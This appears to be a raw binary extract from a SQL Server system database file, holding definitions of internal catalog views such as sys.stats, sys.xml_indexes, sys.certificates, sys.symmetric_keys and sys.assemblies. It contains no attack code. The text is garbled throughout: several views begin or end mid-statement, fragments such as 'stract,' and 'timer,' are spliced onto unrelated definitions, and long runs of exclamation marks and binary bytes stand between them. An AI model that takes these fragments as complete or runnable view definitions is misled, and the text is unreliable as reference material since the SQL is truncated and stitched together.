	LEFT JOIN sys.syspalnames ce ON ce.class = 'CETY' AND ce.value = a.encrtype
	LEFT JOIN sys.syspalnames alg ON alg.class = 'ENAL' AND alg.value = a.algorithm
	LEFT JOIN sys.sysobjvalues v ON v.valclass = 34 AND v.objid = a.id AND v.subobjid = 0 AND v.valnum = 0	-- SVC_AKATTESTINGDLLPATH
	LEFT JOIN sys.sysobjvalues vpt ON vpt.valclass = 31 AND vpt.objid = a.id AND vpt.subobjid = 0 AND vpt.valnum = 1	-- SVC_AKPROVPROPS/PROV_TYPE_PROP
	LEFT JOIN sys.sysobjvalues vpg ON vpg.valclass = 31 AND vpg.objid = a.id AND vpg.subobjid = 0 AND vpg.valnum = 2	-- SVC_AKPROVPROPS/PROV_GUID_PROP
	LEFT JOIN sys.sysobjvalues vpa ON vpa.valclass = 31 AND vpa.objid = a.id AND vpa.subobjid = 0 AND vpa.valnum = 3	-- SVC_AKPROVPROPS/PROV_ALGID_PROP
	LEFT JOIN sys.syspalvalues n ON n.class = 'CPKP' AND n.value = vpt.value
	WHERE has_access('AK', a.id) = 1
 i ON i.class = 'DPCL' AND i.value = dp.class
	WHERE dp.class <= 4	-- MRC_OLDDEPENDS,MRC_EXPRTOOBJ,MRC_EXPRTOTYPE,MRC_EXPRTOXMLNS,MRC_EXPRTOPRTFUNC
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

9	i
]g	@i`<K
h0l@ 8CREATE VIEW sys.fulltext_indexes AS
	SELECT fti.id AS object_id,
		fti.indid AS unique_index_id,
		ftc.indepid AS fulltext_catalog_id,
		sysconv(bit, fti.status & 8) AS is_enabled,		--FTIND_ACTIVE
		convert(char(1), substring('OMxA',1+(fti.status&3),1)) AS change_tracking_state,	--FTIND_CHANGETRACKING | FTIND_AUTOUPDATE
		ts.name AS change_tracking_state_desc,
		sysconv(bit, fti.status & 16) AS has_crawl_completed,	--FTIND_CRAWLCOMPLETED
		fti.crtype AS crawl_type,
		ct.name AS crawl_type_desc,
		fti.crstart AS crawl_start_date,
		fti.crend AS crawl_end_date,
		fti.crtsnext AS incremental_timestamp,
		case ISNULL(fts.indepid,0)  -- NULL means using system default, change it to 0.
			WHEN -2 then NULL -- -2 means disabled, change it to null
			ELSE ISNULL(fts.indepid, 0)
		end AS stoplist_id,
		ftp.indepid AS property_list_id,
		fti.fgid AS data_space_id
	FROM sys.sysftinds fti
	LEFT JOIN sys.syssingleobjrefs ftc ON ftc.depid = fti.id AND ftc.class = 39 AND ftc.depsubid = 0 -- SRC_FTITABTOCAT
	LEFT JOIN sys.syssingleobjrefs fts ON fts.depid = fti.id AND fts.class = 41 AND fts.depsubid = 0 -- SRC_FTITABTOSTOP
	LEFT JOIN sys.syssingleobjrefs ftp ON ftp.depid = fti.id AND ftp.class = 103 AND ftp.depsubid = 0 
	LEFT JOIN sys.syspalvalues ts ON ts.class = 'FITS' AND ts.value = fti.status & 3
	LEFT JOIN sys.syspalnames ct ON ct.class = 'FTCT' AND ct.value = fti.crtype
	WHERE has_access('CO', fti.id) = 1
0m@ 8CREATE VIEW sys.stats_columns AS
	SELECT idmajor AS object_id,
		idminor AS stats_id,
		subid AS stats_column_id,
		intprop AS column_id
	FROM sys.sysiscols s
	WHERE (status & 1)  = 1			-- ISC_STATS_COL
		AND has_access('CO', idmajor) = 1
		AND idminor NOT IN 
        (
            SELECT t.valnum as stats_id
            FROM tempstatvals t
            WHERE t.valnum < 0x40000
                AND t.subobjid = s.idmajor
        )
    UNION ALL
    SELECT	t.subobjid as object_id,
    		t.valnum as stats_id,
    		v.stats_column_id,
    		v.column_id
    FROM	tempstatvals t   
    		outer apply 
    		OpenRowset(TABLE TEMPSTATS, t.objid, t.subobjid, t.valnum, convert(bit, 1)) v
    WHERE 	has_access('CO', t.subobjid) = 1
0n@ >8CREATE VIEW sys.stats AS
	SELECT id AS object_id, name,
		indid AS stats_id,
		sysconv(bit, status & 0x2000) AS auto_created,	-- IS_STATS_AUTO_CRT
		sysconv(bit, case when (status & 0x2001) = 0 then 1 else 0 end) AS user_created,
	  	sysconv(bit, status & 0x4000) AS no_recompute,	-- IS_STATS_NORECOMP
		sysconv(bit, status & 0x20000) AS has_filter,	-- IS_HAS_FILTER
		case when (status & 0x20000) != 0 then object_definition(id, indid, 9) else NULL end AS filter_definition, -- x_euncStats
		convert(bit, 0) as is_temporary
	FROM sys.sysidxstats s
	WHERE (status & 2)  = 2			-- IS_STATS
		AND has_access('CO', id) = 1
		AND indid NOT IN 
        (
            SELECT t.valnum as stats_id
            FROM tempstatvals t
            WHERE t.valnum < 0x40000
                AND t.subobjid = s.id
        )
    UNION ALL
    SELECT	t.subobjid as object_id,
    		v.name COLLATE catalog_default AS name,
    		t.valnum as stats_id,
    		v.auto_created, 
    		v.user_created,
    		v.no_recompute,
    		convert(bit, 0) as has_filter,
    		'' as filter_definition,
    		convert(bit, 1) as is_temporary
    FROM	tempstatvals t   
    		OUTER APPLY 
    		OPENROWSET(TABLE TEMPSTATS, t.objid, t.subobjid, t.valnum, convert(bit, 0)) v
    WHERE 	has_access('CO', t.subobjid) = 1
0o@ 8CREATE VIEW sys.index_columns AS
	SELECT idmajor AS object_id,
		idminor AS index_id,
		subid AS index_column_id,
		intprop AS column_id,
	  	tinyprop1 AS key_ordinal,
	  	tinyprop2 AS partition_ordinal,
	  	convert (bit, status & 0x4) AS is_descending_key,	-- ISC_IC_DESC_KEY
		convert (bit, status & 0x10) AS is_included_column	-- ISC_IC_INCLUDED
	FROM sys.sysiscols
	WHERE (status & 2) <> 0
		AND has_access('CO', idmajor) = 1	-- ISC_IND_COL
0r@ 	8CREATE VIEW sys.xml_indexes AS
	SELECT i.id AS object_id,
		i.name AS name,
		i.indid AS index_id,
		i.type,
		n.name AS type_desc,
		sysconv(bit, i.status & 0x8) AS is_unique,			-- IS_IND_UNIQUE
		isnull(ds.indepid, 1) AS data_space_id,
		sysconv(bit, i.status & 0x4) AS ignore_dup_key,		-- IS_IND_DPKEYS
		sysconv(bit, i.status & 0x20) AS is_primary_key,		-- IS_IND_PRIMARY
		sysconv(bit, i.status & 0x40) AS is_unique_constraint,	-- IS_IND_UNIQUE_CO
		i.fillfact AS fill_factor,
		sysconv(bit, i.status & 0x10) AS is_padded,				-- IS_IND_PADINDEX
		sysconv(bit, i.status & 0x80) AS is_disabled,			-- IS_IND_OFFLINE
		sysconv(bit, i.status & 0x100) AS is_hypothetical,		-- IS_IND_ITWINDEX
		sysconv(bit, 1 - (i.status & 512)/512) AS allow_row_locks,		-- IS_IND_NO_ROWLOCK
		sysconv(bit, 1 - (i.status & 1024)/1024) AS allow_page_locks,	-- IS_IND_NO_PAGELOCK
		ui.indepsubid AS using_xml_index_id,
		char(CASE when (i.tinyprop = 80) OR (i.tinyprop = 82) OR (i.tinyprop = 86) then nullif(i.tinyprop, 0) else null end) AS secondary_type,
		CASE when (i.tinyprop = 80) OR (i.tinyprop = 82) OR (i.tinyprop = 86) then s.name else null end AS secondary_type_desc,
		sysconv(bit, 0) AS has_filter,
		convert(nvarchar(max), NULL) AS filter_definition,
		convert(tinyint, q.value) AS xml_index_type,
		convert(nvarchar(60), q.name) AS xml_index_type_description,
		convert(int, p.indepsubid) AS path_id
	FROM sys.sysidxstats i
	LEFT JOIN sys.syssingleobjrefs ds ON ds.depid = i.id AND ds.class = 7 AND ds.depsubid = i.indid	-- SRC_INDEXTODS	
	LEFT JOIN sys.syssingleobjrefs ui ON ui.depid = i.id AND (ui.class = 100 OR ui.class = 107) AND ui.depsubid = i.indid	-- SRC_XMLUSINGINDEX or SRC_SELECTIVEXMLUSINGINDEX
	LEFT JOIN sys.syspalvalues n ON n.class = 'IDXT' and n.value = i.type
	LEFT JOIN sys.syspalvalues s ON s.class = 'XITY' AND s.value = i.tinyprop
	LEFT JOIN sys.syspalvalues q ON q.class = 'XIT2' AND q.value = (CASE i.tinyprop WHEN 0 THEN 0
																					WHEN 76 THEN 2
																					WHEN 80 THEN 1
																					WHEN 82 THEN 1
																					WHEN 86 THEN 1
																					WHEN 83 THEN 3
																					ELSE NULL END)
	LEFT JOIN sys.syssingleobjrefs p ON p.class = 108 AND p.depid = i.id AND p.depsubid = i.indid	-- SRC_SELECTIVEXMLINDEX_USINGPATH
	WHERE (i.indid >= 256000 and i.indid < 257000) -- is index id within XML index range?
		AND has_access('CO', i.id) = 1
0q@ 8CREATE VIEW sys.partitions AS
	SELECT rs.rowsetid AS partition_id,
		rs.idmajor AS object_id,
		rs.idminor AS index_id,
		rs.numpart AS partition_number,
		rs.rowsetid AS hobt_id,
		isnull(ct.rows, rs.rcrows) AS rows,
		rs.fgidfs AS filestream_filegroup_id,
		cmprlevel AS data_compression,
		cl.name AS data_compression_desc
	FROM sys.sysrowsets rs OUTER APPLY OpenRowset(TABLE ALUCOUNT, rs.rowsetid, 0, 0) ct
	LEFT JOIN sys.syspalvalues cl ON cl.class = 'CMPL' AND cl.value = cmprlevel
0p@ '8CREATE VIEW sys.allocation_units AS
	SELECT au.auid AS allocation_unit_id,
		au.type,
		ip.name AS type_desc,
		au.ownerid AS container_id,
		convert(int, au.fgid) AS data_space_id,
		isnull(ct.reserved_pages, au.pcreserved) AS total_pages,
		isnull(ct.used_pages, au.pcused) AS used_pages,
		isnull(ct.data_pages, au.pcdata) AS data_pages
	FROM sys.sysallocunits au OUTER APPLY OpenRowset(TABLE ALUCOUNT, au.ownerid, au.type, 0) ct
	LEFT JOIN sys.syspalvalues ip ON ip.class = 'AUTY' AND ip.value = au.type
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!]$t6	&`
<>{FK0b@ 8CREATE VIEW sys.events AS
	SELECT ee.object_id AS object_id,
		ee.event_id AS type,
		ee.event_desc AS type_desc,
		sysconv(bit, 71 - e.valclass) AS is_trigger_event,
		ee.group_id AS event_group_type,
		ee.group_desc AS event_group_type_desc
	FROM sys.sysobjvalues e
	CROSS APPLY openrowset( TABLE EXPAND_EVENTS, e.objid, e.subobjid, 
		case when (e.valclass = 70 AND convert(int, e.value) & 4 != 4) OR e.valclass = 71  -- is user created trigger?
			then 1 else 0 end) ee
	WHERE e.valclass in (70,71) AND e.valnum <> 100	-- x_eunc_Server
		AND has_access('CO', e.objid) = 1	-- SVC_EXTTRIGEVT, SVC_ASYNTRGEVT
0c@ 8CREATE VIEW sys.event_notifications AS
	SELECT o.name,
		object_id = o.id,
		parent_class = o.pclass,
		parent_class_desc = pc.name,
		parent_id = o.pid,
		create_date = o.created,
		modify_date = o.modified,
		service_name = convert(nvarchar(256), v.value) COLLATE Latin1_General_BIN,
		broker_instance = convert(sysname, sb.value) COLLATE Latin1_General_BIN,
		creator_sid = convert(varbinary(85), cs.value),
		principal_id = r.indepid
	FROM sys.sysschobjs o
	LEFT JOIN sys.syssingleobjrefs r ON r.depid = o.id AND r.class = 97 AND r.depsubid = 0	-- SRC_OBJOWNER
	LEFT JOIN sys.sysobjvalues v ON v.valclass = 72 AND v.objid = o.id AND v.subobjid = 0 AND v.valnum = 0		-- SVC_ASYNTRGSVCNAME
	LEFT JOIN sys.sysobjvalues sb ON sb.valclass = 74 AND sb.objid = o.id AND sb.subobjid = 0 AND sb.valnum = 0	-- SVC_ASYNTRGBRKRINST
	LEFT JOIN sys.sysobjvalues cs ON cs.valclass = 75 AND cs.objid = o.id AND cs.subobjid = 0 AND cs.valnum = 0	-- SVC_ASYNTRGCTRSID
	LEFT JOIN sys.syspalvalues pc ON pc.class = 'UNCL' AND pc.value = o.pclass
	WHERE o.type = 'EN' AND o.pclass <> 100 -- x_eunc_Server
		AND has_access('TR', o.id, o.pid, o.nsclass) = 1
0d@ a8CREATE VIEW sys.triggers AS
	SELECT o.name,
		object_id = o.id,
		parent_class = o.pclass,
		parent_class_desc = pc.name,
		parent_id = o.pid,
		type = o.type,
		type_desc = n.name,
		create_date = o.created,
		modify_date = o.modified,
		is_ms_shipped = sysconv(bit, o.status & 1), 		-- OBJALL_MSSHIPPED
		is_disabled = sysconv(bit, o.status & 256), 		-- OBJTRG_DISABLED
		is_not_for_replication = sysconv(bit, o.status & 512), 	-- OBJTRG_NOTFORREPL
		is_instead_of_trigger = sysconv(bit, o.status & 1024) 	-- OBJTRG_INSTEADOF
	FROM sys.sysschobjs o
	LEFT JOIN sys.syspalnames n ON n.class = 'OBTY' AND n.value = o.type
	LEFT JOIN sys.syspalvalues pc ON pc.class = 'UNCL' AND pc.value = o.pclass
	WHERE o.type IN ('TA','TR') AND o.pclass <> 100 -- x_eunc_Server
		AND has_access('TR', o.id, o.pid, o.nsclass) = 1
0e@ 8CREATE VIEW sys.procedures AS
	SELECT name, object_id, principal_id, schema_id, parent_object_id,
		type, type_desc, create_date, modify_date,
		is_ms_shipped, is_published, is_schema_published,
		is_auto_executed, is_execution_replicated,
		is_repl_serializable_only, skips_repl_constraints
	FROM sys.objects$
	WHERE type IN ('P ', 'X ', 'PC', 'RF')
0f@ 
8CREATE VIEW sys.foreign_key_columns AS
	SELECT constraint_object_id = p.depid,
		constraint_column_id = p.depsubid,
		parent_object_id = p.indepid,
		parent_column_id = p.indepsubid,
		referenced_object_id = r.indepid,
		referenced_column_id = r.indepsubid
	FROM sys.syssingleobjrefs p
	JOIN sys.syssingleobjrefs r ON r.depid = p.depid AND r.class = 29 AND r.depsubid = p.depsubid	-- SRC_FK_REFERD_COL
	WHERE p.class = 28 	-- SRC_FK_PARENT_COL
		AND has_access('CO', p.indepid) = 1
0g@ 8CREATE VIEW sys.foreign_keys AS
	SELECT o.name, o.object_id, o.principal_id, o.schema_id, o.parent_object_id,
		o.type, o.type_desc, o.create_date, o.modify_date,
		o.is_ms_shipped, o.is_published, o.is_schema_published,
		f.indepid AS referenced_object_id,
		f.indepsubid AS key_index_id,
		o.is_disabled, o.is_not_for_replication, o.is_not_trusted,
		o.delete_referential_action,	-- ERefAct
		d.name AS delete_referential_action_desc,
		o.update_referential_action,	-- ERefAct
		u.name AS update_referential_action_desc,
		o.is_system_named
	FROM sys.objects$ o
	LEFT JOIN sys.syssingleobjrefs f ON f.depid = o.object_id AND f.class = 27 AND f.depsubid = 0	-- SRC_FK_REFD_INDEX
	LEFT JOIN sys.syspalvalues d ON d.class = 'FKRA' AND d.value = o.delete_referential_action
	LEFT JOIN sys.syspalvalues u ON u.class = 'FKRA' AND u.value = o.update_referential_action
	WHERE o.type = 'F '
0h@ 8CREATE VIEW sys.default_constraints AS
	SELECT name, object_id, principal_id, schema_id, parent_object_id,
		type, type_desc, create_date, modify_date,
		is_ms_shipped, is_published, is_schema_published,
		property AS parent_column_id,
		object_definition(object_id) AS definition,
		is_system_named
	FROM sys.objects$
	WHERE type = 'D ' AND parent_object_id > 0
0i@ 8CREATE VIEW sys.check_constraints AS
	SELECT name, object_id, principal_id, schema_id, parent_object_id,
		type, type_desc, create_date, modify_date,
		is_ms_shipped, is_published, is_schema_published,
		is_disabled, is_not_for_replication, is_not_trusted,
		property AS parent_column_id,
		object_definition(object_id) AS definition,
		uses_database_collation, is_system_named
	FROM sys.objects$
	WHERE type = 'C '
0j@ 8
CREATE VIEW sys.key_constraints AS
	SELECT o.name, o.object_id, o.principal_id, o.schema_id, o.parent_object_id,
		o.type, o.type_desc, o.create_date, o.modify_date,
		o.is_ms_shipped, o.is_published, o.is_schema_published,
		r.indepid AS unique_index_id,
		o.is_system_named
	FROM sys.objects$ o
	LEFT JOIN sys.syssingleobjrefs r ON r.depid = o.object_id
	WHERE o.type IN ('PK', 'UQ')
0k 8CREATE VIEW sys.fulltext_index_columns AS
	SELECT object_id = objid,
		column_id = subobjid,
		type_column_id = 
			CASE convert(int, convert(varbinary, convert(bigint, value) % 0x100000000)) -- The bottom 4 bytes of value are the type_column_id
				WHEN convert(int, 0xffffffff) THEN NULL -- for back compat return NULL if the column id is bad (0xffffffff)
				ELSE convert(int, convert(varbinary, convert(bigint, value) % 0x100000000))
			END,
		language_id = valnum,
		statistical_semantics = 
			CASE 
				WHEN (convert(bigint, value) & 0x100000000) > 0 THEN 1 -- check for the semantic_statistic bit
				ELSE 0
			END
	FROM sys.sysobjvalues
	WHERE valclass = 42	-- SVC_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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!<1~
`

<smQ0,@ 8CREATE VIEW sys.internal_tables AS
	SELECT o.name, o.id AS object_id, convert(int, null) AS principal_id, o.nsid AS schema_id, o.pid AS parent_object_id,
		o.type, n.name AS type_desc, o.created AS create_date, o.modified AS modify_date,
		convert(bit, 0) AS is_ms_shipped, convert(bit, 0) AS is_published, convert(bit, 0) AS is_schema_published,
		convert(tinyint, par.depsubid) AS internal_type,
		itt.name AS internal_type_desc,
		par.indepid AS parent_id,
		par.indepsubid AS parent_minor_id,
		isnull(ds.indepid, 0) AS lob_data_space_id,
		rfs.indepid AS filestream_data_space_id
	FROM sys.sysschobjs o
	LEFT JOIN sys.syspalnames n ON n.class = 'OBTY' AND n.value = o.type
	LEFT JOIN sys.syssingleobjrefs par ON par.depid = o.id AND par.class = 40	 -- SRC_INTLTAB_PARENT
	LEFT JOIN sys.syspalvalues itt ON itt.class = 'ITTY' AND itt.value = par.depsubid
	LEFT JOIN sys.syssingleobjrefs ds ON ds.depid = o.id AND ds.class = 8 AND ds.depsubid <= 1	-- SRC_INDEXTOLOBDS	
	LEFT JOIN sys.syssingleobjrefs rfs ON rfs.depid = o.id AND rfs.class = 42 AND rfs.depsubid = 0	-- SRC_OBJTOFSDS
	WHERE o.nsclass = 0 -- x_eonc_Standard
		AND o.nsid = 4 AND o.pclass = 1 AND o.type = 'IT' -- x_eunc_Object
		AND has_access('IT', par.indepid, par.depsubid) = 1
0-@ 8CREATE VIEW sys.certificates AS
	SELECT c.name,
		c.id AS certificate_id,
		r.indepid AS principal_id,
		c.encrtype AS pvt_key_encryption_type,
		ce.name AS pvt_key_encryption_type_desc,
		sysconv(bit, ~c.status & 0x1) AS is_active_for_begin_dialog,
		convert(nvarchar(442), certproperty(c.id, 'issuer_name')) AS issuer_name,
		convert(nvarchar(64),  certproperty(c.id, 'cert_serial_number')) AS cert_serial_number,
		convert(varbinary(85), certproperty(c.id, 'sid')) AS sid,
		convert(nvarchar(128), certproperty(c.id, 'string_sid')) AS string_sid,
		convert(nvarchar(4000),certproperty(c.id, 'subject')) AS subject,
		convert(datetime, certproperty(c.id, 'expiry_date')) AS expiry_date,
		convert(datetime, certproperty(c.id, 'start_date')) AS start_date,
		c.thumbprint AS thumbprint,
		convert(nvarchar(260), v.value) AS attested_by,
		c.lastpkeybackup AS pvt_key_last_backup_date
	FROM sys.syscerts c
	LEFT JOIN sys.syssingleobjrefs r ON r.depid = c.id AND r.class = 62 AND r.depsubid = 0	-- SRC_CERTOWNER
	LEFT JOIN sys.syspalnames ce ON ce.class = 'CETY' AND ce.value = c.encrtype
	LEFT JOIN sys.sysobjvalues v ON v.valclass = 33 AND v.objid = c.id AND v.subobjid = 0 AND v.valnum = 0	-- SVC_CRATTESTINGDLLPATH
	WHERE has_access('CE', c.id) = 1
00@ R8CREATE VIEW sys.symmetric_keys AS
	SELECT s.name AS name,
		r.indepid AS principal_id,
		s.id AS symmetric_key_id,
		s.intprop AS key_length,
		s.type AS key_algorithm,
		case when vpt.value = 6 then  -- x_emd_EKMProvider = 6
		    convert(nvarchar(60),symkeyproperty(s.id, 'algorithm_desc'))
		    else alg.name end AS algorithm_desc,
		s.created AS create_date,
		s.modified AS modify_date,
		g.guid AS key_guid,
		vph.value AS key_thumbprint,
		n.name as provider_type,
		convert(uniqueidentifier, vpg.value) AS cryptographic_provider_guid,
		vpa.value AS cryptographic_provider_algid
	FROM sys.sysclsobjs s
	LEFT JOIN sys.syssingleobjrefs r ON r.depid = s.id AND r.class = 47 AND r.depsubid = 0
	LEFT JOIN sys.sysguidrefs g ON g.id = s.id AND g.class = 2 AND g.subid = 0
	LEFT JOIN sys.syspalnames alg ON alg.class = 'ENAL' AND alg.value = s.type
	LEFT JOIN sys.sysobjvalues vpt ON vpt.valclass = 35 AND vpt.objid = s.id AND vpt.subobjid = 0 AND vpt.valnum = 1	-- SVC_OKEYPROVPROPS/PROV_TYPE_PROP
	LEFT JOIN sys.sysobjvalues vpg ON vpg.valclass = 35 AND vpg.objid = s.id AND vpg.subobjid = 0 AND vpg.valnum = 2	-- SVC_OKEYPROVPROPS/PROV_GUID_PROP
	LEFT JOIN sys.sysobjvalues vpa ON vpa.valclass = 35 AND vpa.objid = s.id AND vpa.subobjid = 0 AND vpa.valnum = 3	-- SVC_OKEYPROVPROPS/PROV_ALGID_PROP
	LEFT JOIN sys.sysobjvalues vph ON vph.valclass = 35 AND vph.objid = s.id AND vph.valnum = 4	-- SVC_OKEYPROVPROPS/PROV_THUMB_PROP
	LEFT JOIN sys.syspalvalues n ON n.class = 'CPKP' AND n.value = vpt.value
	WHERE s.class = 56
		AND has_access('OK', s.id) = 1
0/@ 8CREATE VIEW sys.key_encryptions AS
	SELECT s.id AS key_id,
		case when k.type = 'ESKP' then NULL else k.thumbprint end as thumbprint,
		k.type AS crypt_type,
		ct.name AS crypt_type_desc,
		(case when has_access('OE', s.id) = 1 then k.crypto else NULL end) AS crypt_property
	FROM sys.sysclsobjs s
	JOIN sys.sysobjkeycrypts k ON k.class = 24 AND k.id = s.id
	LEFT JOIN sys.syspalnames ct ON ct.class = 'CRTY' AND ct.value = k.type
	WHERE s.class = 56
		AND has_access('OK', s.id) = 1
0.@ 8CREATE VIEW sys.crypt_properties AS
	SELECT						-- objects
		k.class AS class,
		un.name AS class_desc,
		s.id AS major_id,
		k.thumbprint AS thumbprint,
		k.type AS crypt_type,
		ct.name AS crypt_type_desc,
		k.crypto AS crypt_property
	FROM sys.sysschobjs s
	JOIN sys.sysobjkeycrypts k ON k.class = 1 AND k.id = s.id
	LEFT JOIN sys.syspalvalues un ON un.class = 'UNCL' AND un.value = k.class
	LEFT JOIN sys.syspalnames ct ON ct.class = 'CRTY' AND ct.value = k.type
	WHERE s.nsclass = 0 -- x_eonc_Standard
		AND s.pclass = 1 -- x_eunc_Object
		AND k.type <> 'INCP'
		AND has_access('SQ', s.id, s.pid, 0) = 1
	UNION
	SELECT						-- assemblies
		k.class AS class,
		un.name AS class_desc,
		s.assembly_id AS major_id,
		k.thumbprint AS thumbprint,
		k.type AS crypt_type,
		ct.name AS crypt_type_desc,
		k.crypto AS crypt_property
	FROM sys.assemblies s
	JOIN sys.sysobjkeycrypts k ON k.class = 5 AND k.id = s.assembly_id
	LEFT JOIN sys.syspalvalues un ON un.class = 'UNCL' AND un.value = k.class
	LEFT JOIN sys.syspalnames ct ON ct.class = 'CRTY' AND ct.value = k.type
	WHERE k.type <> 'INCP'
stract,
		sysconv(bit, c.status & 2) AS allows_mixed_content,
		sysconv(bit, c.status & 4) AS is_extension_blocked,
		sysconv(bit, c.status & 8) AS is_restriction_blocked,
		sysconv(bit, c.status & 16) AS is_final_extension,
		sysconv(bit, c.status & 32) AS is_final_restriction,
		sysconv(bit, c.status & 64) AS is_final_list_member,
		sysconv(bit, c.status & 128) AS is_final_union_member
	FROM sys.sysxmlcomponent c
	LEFT JOIN sys.sysqnames q ON c.nameid = q.nid
	LEFT JOIN sys.syssingleobjrefs b ON b.depid = c.id AND b.class = 82 AND b.depsubid = 0	-- SRC_XMLCOMPDERIVE
	LEFT JOIN sys.syssingleobjrefs o ON o.depid = c.id AND o.class = 81 AND o.depsubid = 0	-- SRC_XMLCOMPOWNCOMP
	LEFT JOIN sys.sysbinpals k ON k.class = 'XCKI' AND k.value = c.kind
	LEFT JOIN sys.sysbinpals d ON d.class = 'XCDR' AND d.value = c.deriv
	LEFT JOIN sys.sysbinpals s ON s.class = 'XCSS' AND s.value = c.symspace
	WHERE c.symspace = 'T'
		AND has_access('XC', c.id, c.xsdid) = 1
0;@ j8CREATE VIEW sys.xml_schema_facets AS
	SELECT f.compid AS xml_component_id,
		f.ord AS facet_id,
		f.kind,
		k.name AS kind_desc,
		sysconv(bit, f.status & 1) AS is_fixed,
		f.dflt AS value
	FROM sys.sysxmlfacet f
	LEFT JOIN sys.sysbinpals k ON k.class = 'XFKI' AND k.value = f.kind
	WHERE has_access('XC', f.compid) = 1
timer,
		ce.send_sequence,
		ce.last_send_tran_id,
		ce.end_dialog_sequence,
		ce.receive_sequence,
		ce.receive_sequence_frag,
		ce.system_sequence,
		ce.first_out_of_order_sequence,
		ce.last_out_of_order_sequence,
		ce.last_out_of_order_frag,
		ce.is_system,
		ce.priority
	FROM sys.conversation_endpoints$ ce
	LEFT JOIN sys.syssingleobjrefs f ON f.depid = ce.service_id AND f.class = 21 AND f.depsubid = 0 -- SRC_SVCTOQUEUE
	WHERE has_access('CO', f.indepid) = 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!s3	

s=
I
s`<
8
0P@ 8CREATE VIEW sys.assembly_references AS
	SELECT depid AS assembly_id,
		indepid AS referenced_assembly_id
	FROM sys.sysmultiobjrefs
	WHERE class = 10 AND depsubid = 0 AND indepsubid = 0
0Q@ I8CREATE VIEW sys.assembly_files AS
		SELECT asm.objid AS assembly_id,
			convert(nvarchar(260), asm.value) collate catalog_default AS name,
			asm.subobjid AS file_id,
			case when asm.objid < 65536 then GetSystemAssemblyBytes(asm.objid) else f.imageval end AS content -- x_MinUserAssemblyId
		FROM sys.sysobjvalues asm
		LEFT JOIN sys.sysobjvalues f ON f.valclass = 10 AND f.objid = asm.objid AND f.subobjid = asm.subobjid AND f.valnum = 2
		WHERE asm.valclass = 10 AND asm.valnum = 1	-- SVC_ASSEMBLYFILE
			AND has_access('AF', asm.objid) = 1
0R@ H8CREATE VIEW sys.assemblies AS
	SELECT s.name AS name, 
		r.indepid AS principal_id,
		s.id AS assembly_id,
		convert(nvarchar(4000), assemblyproperty(s.name, 'CLRName')) collate Latin1_General_BIN AS clr_name,
		convert(tinyint, s.intprop) AS permission_set,
		i.name AS permission_set_desc,
		sysconv(bit, s.status & 1) AS is_visible,	-- ASM_EXPLICIT_REG
		s.created AS create_date,
		s.modified AS modify_date,
		convert(bit, case when s.id < 65536 then 0 else 1 end) AS is_user_defined       -- x_MinUserAssemblyID
	FROM sys.sysclsobjs s
	LEFT JOIN sys.syssingleobjrefs r ON r.depid = s.id AND r.class = 52 AND r.depsubid = 0	-- SRC_ASMOWNER
